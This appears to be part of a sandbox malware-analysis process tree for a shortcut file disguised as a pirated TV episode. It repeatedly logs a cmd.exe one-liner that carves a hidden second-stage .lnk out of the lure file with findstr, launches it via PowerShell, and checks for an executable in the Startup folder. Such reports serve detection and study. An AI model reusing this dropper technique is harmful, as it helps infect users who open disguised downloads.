        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        278⤵
        
        PID:2592
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0977" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        279⤵
        
        PID:4648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        279⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5700
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        280⤵
        
        PID:2420
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0049" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        281⤵
        
        PID:2612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        281⤵
        
        PID:3952
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        282⤵
        
        PID:5332
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0124" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        283⤵
        
        PID:452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        283⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3060
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        284⤵
        
        PID:804
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0198" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        285⤵
        
        PID:2120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        285⤵
        
        PID:3300
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        286⤵
        
        PID:3956
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0290" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        287⤵
        
        PID:2652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        287⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1708
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        288⤵
        
        PID:4996
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0394" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        289⤵
        
        PID:2788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        289⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1912
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        290⤵
        
        PID:484
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0479" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        291⤵
        
        PID:1380
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        291⤵
        
        PID:3788
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        292⤵
        
        PID:4048
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0579" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        293⤵
        
        PID:3544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        293⤵
        
        PID:3968
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        294⤵
        
        PID:4988
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0663" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        295⤵
        
        PID:3260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        295⤵
        
        PID:1344
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        296⤵
        
        PID:500
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0762" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        297⤵
        
        PID:1068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        297⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6124
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        298⤵
        
        PID:2040
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0923" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        299⤵
        
        PID:2544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        299⤵
        
        PID:4476
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        300⤵
        
        PID:3440
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        301⤵
        
        PID:4360
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0010" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        301⤵
        
        PID:2104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        301⤵
        
        PID:2176
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        302⤵
        
        PID:2848
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0091" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        303⤵
        
        PID:2424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        303⤵
        
        PID:2032
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        304⤵
        
        PID:1000
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0188" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        305⤵
        
        PID:5444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        305⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5344
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        306⤵
        
        PID:4184
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0268" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        307⤵
        
        PID:5312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        307⤵
        
        PID:5972
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        308⤵
        
        PID:4824
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0338" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        309⤵
        
        PID:5560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        309⤵
        
        PID:4956
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        310⤵
        
        PID:2180
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0440" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        311⤵
        
        PID:4668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        311⤵
        
        PID:1844
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        312⤵
        
        PID:4144
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0541" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        313⤵
        
        PID:5416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        313⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5404
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        314⤵
        
        PID:3112
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0621" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        315⤵
        
        PID:2136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        315⤵
        
        PID:1488
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        316⤵
        
        PID:72
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0723" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        317⤵
        
        PID:1928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        317⤵
        
        PID:5340
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        318⤵
        
        PID:2120
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0813" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        319⤵
        
        PID:2296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        319⤵
        
        PID:5172
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        320⤵
        
        PID:5036
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0898" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        321⤵
        
        PID:5412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        321⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2328
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        322⤵
        
        PID:4732
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0977" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        323⤵
        
        PID:5996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        323⤵
        
        PID:4684
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        324⤵
        
        PID:3924
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0055" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        325⤵
        
        PID:5640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        325⤵
        
        PID:3116
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        326⤵
        
        PID:1668
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0141" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        327⤵
        
        PID:3544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        327⤵
        
        PID:3736
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        328⤵
        
        PID:2144
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0241" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        329⤵
        
        PID:3948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        329⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2352
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        330⤵
        
        PID:2900
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0337" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        331⤵
        
        PID:3936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        331⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4488
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        332⤵
        
        PID:452
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0419" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        333⤵
        
        PID:1692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        333⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1316
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        334⤵
        
        PID:6028
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0523" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        335⤵
        
        PID:3056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        335⤵
        
        PID:5768
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        336⤵
        
        PID:2652
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0613" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        337⤵
        
        PID:1296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        337⤵
        
        PID:1108
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        338⤵
        
        PID:4872
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0712" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        339⤵
        
        PID:4428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        339⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3340
        
        C:\Windows\SYSTEM32\cmd.EXE
        
